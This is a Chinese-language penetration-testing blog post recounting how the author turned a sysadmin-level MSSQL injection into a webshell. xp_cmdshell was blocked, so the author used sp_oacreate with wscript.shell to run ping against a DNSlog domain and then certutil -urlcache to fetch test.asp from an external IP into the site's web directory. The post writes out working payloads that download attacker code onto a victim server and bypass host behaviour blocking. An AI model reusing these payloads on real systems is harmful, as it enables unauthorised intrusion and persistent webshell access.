0x00 Certutil介绍

Casey Smith‏ @subTee曾经在twitter介绍了了关于certutil的一些利用技巧。其中,本人渗透过程中最为常用的一条命令:

certutil -urlcache -split -f http://远程ip/test.php 

通过这条命令可以迅速有效的向目标主机当前目录,下载我们想要传输的文件。
同时也可以通过certutil来向指定的路径传输文件,也是屡试不爽:

certutil -urlcache -split -f http://远程ip/test.php D:\网站目录\test.php

当目标主机可以访问外网的情况下,哪怕目前操控权限较低,基本也可以通过此条命令成功实现文件下载。

更加具体的内容可以参考Casey Smith‏的《渗透测试中的certutil》和微软官方的说明,网上也有相应的文章,这里就不多介绍了。

0x01 MSSQL介绍

这里,MSSQL也就是SQL-SERVER。 微软研发的数据库管理系统。大都是运行在Win系列的平台上(不过最近SQLSERVER 2017支持了linux平台)。

有关很多SQLSERVER的sql注入在网上安全资料中都可以见到。 尤其是xp_cmdshell存储过程,当数据库用户没有被降权处理时,攻击者可以利用它来对数据库所在的主机实现任何的操作。

SQL-SERVER的常规GetShell思路如下:

1.确认当前的数据库用户权限为sysadmin
2.直接备份数据/调用可以命令执行的存储过程,如Xp_cmdshell等
3.若用户非sa权限则考虑差异备份 Log备份等
...

网上有前辈对很多MSSQL注入的思路和Payload进行过总结,具体可以Google:Mssql手注

0x02 运用Certutil来Getshell

先介绍实战场景及条件,是这样的:

  • 渗透前期已通过nmap对目标ip进行了全端口扫描,有用的端口只有8088
  • 服务器IIS7 脚本语言:asp。能够登陆管理系统,仅有查询功能。
  • 网站还存在目录遍历及IIS短文件名泄露,但无法直接利用。
  • 查询存在SQL注入,数据库为MS 2008R2
  • 得知注入权限为sysadmin

当初看到sa权限,本以为这样就万事大吉 直接拿Shell
但却很快出了问题

注入点类型情况如下:

先用判断是否存在站库分离

select @@servername;
select host_name();

确定数据库和web在同一服务器

3593956.png

然后SQLmap中直接执行 --os-shell 服务器无响应,连接中断...执行 --os-cmd "whoami" 无响应中断...
又确认一遍是sa权限后,进入--sql-shell操作

select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell'

可以确认存储过程没有被删除,然后尝试

exec master..xp_cmdshell 'dir'

3628723.png

失败,无响应中断。又运行了其他的存储过程,蛮正常。 看来是在xp_cmdshell执行过程进行了拦截。 另外通过xp_dirtree将web站点存在的目录读了出来,并在web的根目录下通过xp_create_subdir成功创建了子目录test。

3775447.png

仅剩一步,将shell写入或者下载到web目录中即可。
但却卡在这个问题,而且卡了近两天。能够执行cmd的三种方式都尝试了,程序执行过程被拦截。尝试直接备份和差异备份,也都没能成功。感觉像是08和之前版本的备份语句存在差异,总之没备份成功,哪天仔细研究一下。

又静下心思索一阵后,终于解决了这个问题。
思路如下,既然主机对数据库调用的cmd.exe进行了行为拦截,那么可以尝试运用其他的程序执行进行绕过,并利用指定程序的一些功能来实现对文件的操控并执行 来获取shell。

于是先想到测试以下ping命令,payload如下:

declare @shell int exec sp\_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\ping.exe hehe.t00ls.xxxxxxxxxxxxxxxxxxxxxxxxxxxx.tu4.org'

指定ping程序并通过DNSlog来测试主机是否可以执行成功且能访问外网。

3972290.png

sql-shell中执行没有发生中断,说明主机没有进行操作拦截,然后在DNSlog的日志中可以看到,目标服务器能够访问外网

4036407.png

既然Ping可以成功执行,那么Certutil.exe是否也可以成功执行,试一下吧
payload:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\certutil.exe -urlcache -split -f http://外网ip/test.asp d:\网站的目录\test\1.asp'

访问下创建的test目录

4182224.png

成功执行,没有执行常规的系统命令也没有通过文件备份,通过Certutil程序绕过了主机对操作行为的拦截,远程下载了webshell。

5126240.png

0x03 思考与总结

  1. MSSQL注入可玩性太高,其中有很多很神奇的存储过程,且对应了不同的权限,往后要多了解
  2. 思路要广一点,切记局限。不能通过常规方法执行cmd就换个思路,柳暗花明又一村啊
  3. 网上很多中文资料只试用低版本,如今高版本的数据库为主流,很多语句变得不太实用。有时间 自己测试整理下高版本的
  4. 工欲善其事必先利其器,SQLmap还是要多玩玩...

[2018/3/14] written by Len9f4n.

标签: none

添加新评论